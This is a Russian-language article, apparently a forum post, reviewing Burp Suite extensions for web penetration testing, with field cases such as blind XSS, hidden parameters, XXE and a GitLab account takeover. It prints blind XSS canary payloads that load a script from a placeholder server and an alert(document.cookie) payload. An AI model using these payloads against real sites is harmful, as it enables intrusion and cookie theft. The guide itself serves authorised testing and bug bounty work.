Burp Suite с модами: превращаем скромный прокси в боевого покемона
Burp Suite: зачем нужны кастомные плагины и где их искать
Burp Suite от PortSwigger давно стал стандартом де-факто в арсенале веб-пентестера. Первая версия инструмента появилась ещё в 2003 году, и с тех пор трудно представить тестирование веб-приложений без него.
Большинство пользователей ассоциируют Burp Suite только с Proxy и Repeater, забывая о полном наборе встроенных модулей Collaborator, Intruder, Comparer и других, которые используются в повседневной работе не реже базовых инструментов.
Отдельного внимания заслуживает возможность расширения функциональности через кастомные плагины. Часть готовых расширений доступна прямо во вкладке Extensions внутри BApp Store, другие можно найти в открытых репозиториях, например на GitHub.
В этом материале — подборка плагинов для Burp Suite, которые регулярно используются на практике и заметно ускоряют рутинные задачи при тестировании на проникновение.
Обратите внимание: большинство перечисленных плагинов требуют версии Burp Suite Professional.

Param Miner: поиск скрытых параметров и заголовков
Param Miner — один из самых полезных плагинов для Burp Suite, который используется практически в каждом запросе при тестировании веб-приложений. По функциональности он заметно превосходит консольные аналоги вроде Arjun и x8.
Зачем искать скрытые параметры и заголовки
Скрытые параметры и заголовки — это данные, которые сервер принимает и обрабатывает, но которые никак не отображаются в интерфейсе или в исходном коде страницы. Простой пример: форма регистрации на сайте выглядит стандартно, но на бэкенде может обрабатываться незадокументированный параметр isadmin. Добавление isadmin=true в запрос в теории способно привести к регистрации с правами администратора.
Универсальной логики здесь нет — каждый найденный параметр нужно анализировать отдельно и проверять, на что он влияет. На практике значительная часть уязвимостей, включая SQL-инъекции, обнаруживается именно в параметрах и заголовках, которые разработчики оставили в коде годами ранее и забыли удалить.
Основные функции Param Miner
Из всего набора возможностей плагина на практике чаще всего задействуются четыре функции.

Guess Headers — перебирает и пытается угадать скрытые заголовки запроса. Одно из ключевых преимуществ Param Miner — использование cache buster’ов, за счёт чего вероятность пропустить рабочий заголовок минимальна.
Все находки отображаются во вкладке Issues, а также в Output — второе актуально для тех, кто использует бесплатную версию Burp Suite. Впрочем, работа с выводом в Output не слишком удобна, особенно при параллельном сканировании нескольких страниц, поэтому для комфортной работы лучше использовать Burp Suite Professional.


Практический метод: canary с blind XSS payload’ами
При запуске перебора заголовков в поле canary можно подставлять не случайную строку, а полезную нагрузку для blind XSS с адресом Burp Collaborator — это позволяет параллельно с поиском скрытых заголовков отлавливать срабатывания на удалённых страницах и в админ-панелях, куда запрос может попасть асинхронно.

Пример payload’ов для canary:
--></tiTle></stYle></texTarea></scrIpt>"//'//><scrIpt src=https://ваш-сервер></scrIpt>
';"</script><script/src=//https://ваш-сервер></script>
Дополнительно можно использовать стандартный набор payload’ов из профиля XSS Report — он доступен непосредственно в личном кабинете сервиса.
Реальный кейс: срабатывание blind XSS в админ-панели
На практике описанный выше метод с canary один раз действительно сработал. Спустя примерно неделю после серии тестов на одном из проектов пришло уведомление от сервиса xss.report о срабатывании payload’а — причём сработал он непосредственно в административной панели целевого приложения. Извлечь куки в тот раз не удалось, но сам факт отложенного срабатывания оказался показательным.

Механика была следующей: во время перебора заголовков Param Miner отправил запрос с одним из заголовков словаря, предположительно относящимся к аналитике. Позднее сотрудник компании просматривал логи через веб-панель, и заголовок с payload’ом отобразился в интерфейсе — сработал классический blind XSS через логи.
Guess Query Params — поиск скрытых параметров в GET-запросах
Эта функция чаще всего помогает обнаружить логические уязвимости — в первую очередь IDOR. Но встречаются и SQL-инъекции.

Показательный случай — тестирование веб-приложения на базе Bitrix. В корне сайта был обнаружен незадокументированный параметр ?action. Присвоение ему значения download привело к скачиванию файла log.txt, содержащего данные о 200 заказах — служебные записи о срабатывании событий Bitrix. Подобное поведение нетипично для этой CMS и, судя по всему, стало следствием отладочного кода, оставленного разработчиком.

Guess Body Params — поиск скрытых параметров в теле запроса
Функция работает по тому же принципу, что и Guess Query Params, с той разницей, что перебор идёт по параметрам POST-запросов. На практике SQL-инъекции значительно чаще встречаются именно в теле запроса, а не в query-параметрах — это стоит учитывать при тестировании.
Guess Cookies — поиск скрытых атрибутов в cookies
Функция позволяет обнаружить недокументированные атрибуты cookies. На практике эта опция реже приводит к значимым находкам по сравнению с перебором параметров и заголовков, но полностью исключать её из процесса тестирования не стоит.
Reflector — автоматическое обнаружение XSS
Reflector — ещё одно расширение, которое заметно упрощает поиск XSS-уязвимостей. Принцип работы простой: плагин автоматически подставляет в значения параметров набор специальных символов (< > ' | " и другие) и отслеживает, экранирует ли приложение их на выходе. Если санитизация отсутствует, Reflector сигнализирует об этом отдельной пометкой.

Помимо параметров, расширение также отслеживает отражение значений в атрибутах cookies — это полезно при поиске возможностей для отравления кэша (cache poisoning), а также фиксирует случаи отражения параметров в целом, что упрощает ручную проверку санитизации.

Связка Reflector + Param Miner + Katana
Наибольшую эффективность Reflector показывает в связке с Param Miner и Katana. Katana используется для обхода сайта и обнаружения эндпоинтов (трафик пускается через Burp с помощью флага --proxy), Param Miner — для поиска скрытых параметров, а Reflector в реальном времени проверяет их на предмет отсутствия санитизации.
Пример из практики: в ходе такого связанного тестирования Param Miner обнаружил скрытый параметр client_id, значение которого отражалось в JSON-ответе без какой-либо фильтрации специальных символов. Простой payload вида text%22-alert(document.cookie)-%22test привёл к срабатыванию всплывающего окна с выводом содержимого cookies — то есть к рабочей XSS-уязвимости, обнаруженной буквально за пару минут.

Подобная связка трёх инструментов — Param Miner, Reflector и Katana — на практике позволяет находить XSS-уязвимости заметно быстрее, чем при последовательном использовании каждого расширения по отдельности.
Software Vulnerability Scanner (Vulners) — детект уязвимых технологий
Многие пентестеры, ищущие информацию по конкретной CVE, в первую очередь открывают vulners.com — один из наиболее удобных агрегаторов данных об уязвимостях. У сервиса также есть официальное расширение для Burp Suite, которое незаслуженно обходят вниманием.
Принцип работы плагина: во время сёрфинга по целевому приложению он определяет используемые технологии (аналогично Wappalyzer) и автоматически проверяет их на наличие известных CVE. Удобнее всего использовать его как дополнение к Wappalyzer — так получается более полная картина технологического стека цели.
На практике расширение регулярно находит актуальные уязвимости в используемом стеке. После завершения основного этапа тестирования конкретной цели имеет смысл выделить время и отдельно пройтись по всем найденным потенциальным CVE — детальная проверка нередко даёт результат.
Collaborator Everywhere — автоматизация blind-уязвимостей через Burp Collaborator
Collaborator Everywhere — расширение, которое автоматически внедряет адрес Burp Collaborator в запросы, преимущественно в заголовки. При необходимости плагин можно донастроить и указать конкретные точки внедрения вручную.
Основная область применения — обнаружение blind SSRF, но расширение также может помочь в выявлении отравления кэша и blind SQL-инъекций за счёт отслеживания асинхронных пингбэков.
Из недавнего опыта использования: расширение зафиксировало во вкладке Issues пингбэк на Collaborator через заголовок X-Forwarded-For. При дальнейшем исследовании существенных находок обнаружить не удалось, однако было замечено, что передача символа / в этом заголовке ломает парсер приложения и приводит к ошибке — потенциальная точка для дальнейшего анализа.
Если у читателей есть похожие находки или идеи по развитию темы — пишите в личные сообщения, при наличии интересного материала возможна совместная статья на форуме с разделением баг-баунти.

Content Type Converter — смена формата тела запроса
Content Type Converter — простое, но полезное расширение, которое конвертирует параметры POST-запроса между форматами XML и JSON. Несмотря на кажущуюся простоту, именно с его помощью были обнаружены две показательные уязвимости.
1. XXE через JSON-эндпоинт
Классический подход к поиску XXE предполагает тестирование только тех запросов, где тело изначально передаётся в формате XML. Однако стоит учитывать историю развития веб-технологий: до широкого распространения JSON большинство API работало именно на XML. При миграции на JSON старый функционал с поддержкой XML нередко остаётся в коде — просто забытым и невостребованным, о его существовании может знать только сам разработчик.
Практический метод: JSON-запрос конвертируется в XML при помощи расширения, после чего анализируется ответ сервера. Если приложение обрабатывает такой запрос так же, как и обычный JSON-запрос, либо возвращает специфическую ошибку парсера XML (например, связанную с некорректной структурой XML-документа) — это указывает на то, что эндпоинт действительно поддерживает XML-формат, несмотря на то что штатно ожидает JSON. Дальнейший поиск и эксплуатация XXE в такой точке — стандартная процедура.
Подробнее методика описана в материале NetSPI.
2. Account Takeover на GitLab через JSON Parameter Pollution
Второй показательный кейс — уязвимость на платформе GitLab, связанная со сбросом пароля. Стандартный POST-запрос на отправку письма для восстановления пароля был сконвертирован в JSON-формат при помощи Content Type Converter, после чего исследователь применил технику JSON Parameter Pollution — передачу дублирующихся ключей в теле запроса. В результате письмо со ссылкой для сброса пароля отправлялось сразу на два адреса электронной почты, что создавало условия для перехвата аккаунта.
Полное описание находки — в отчёте на HackerOne.
JS Miner — анализ JavaScript-файлов на лету
JS Miner — расширение, которое анализирует все .js-файлы, проходящие через прокси, на предмет потенциально полезной информации. Как и в случае с предыдущими плагинами, эффективность заметно возрастает в связке с Katana.

Основные возможности инструмента:
- выявление зависимостей NPM и проверка проекта на уязвимость Dependency Confusion;
- поиск забытых API-ключей и других учётных данных в коде — стоит учитывать, что подавляющее большинство срабатываний оказывается ложноположительными, поэтому каждую находку необходимо проверять вручную;
- поиск поддоменов — удобное дополнение к техникам сбора поддоменов, описанным в отдельном материале на форуме;
- пассивный анализ source map файлов (.map);
- извлечение ссылок на облачные хранилища и обнаруженные API-эндпоинты, а также ряд второстепенных функций.
Заключение
Рассмотренные расширения — Param Miner, Reflector, Software Vulnerability Scanner, Collaborator Everywhere, Content Type Converter и JS Miner — далеко не полный список того, что доступно для Burp Suite, но именно они на практике чаще всего оказываются полезны при тестировании веб-приложений. В связке друг с другом и с внешними инструментами вроде Katana они заметно ускоряют обнаружение уязвимостей и снижают вероятность пропустить что-то важное.
Если материал оказался полезным и по описанным методикам удалось найти что-то интересное — делитесь находками в личных сообщениях.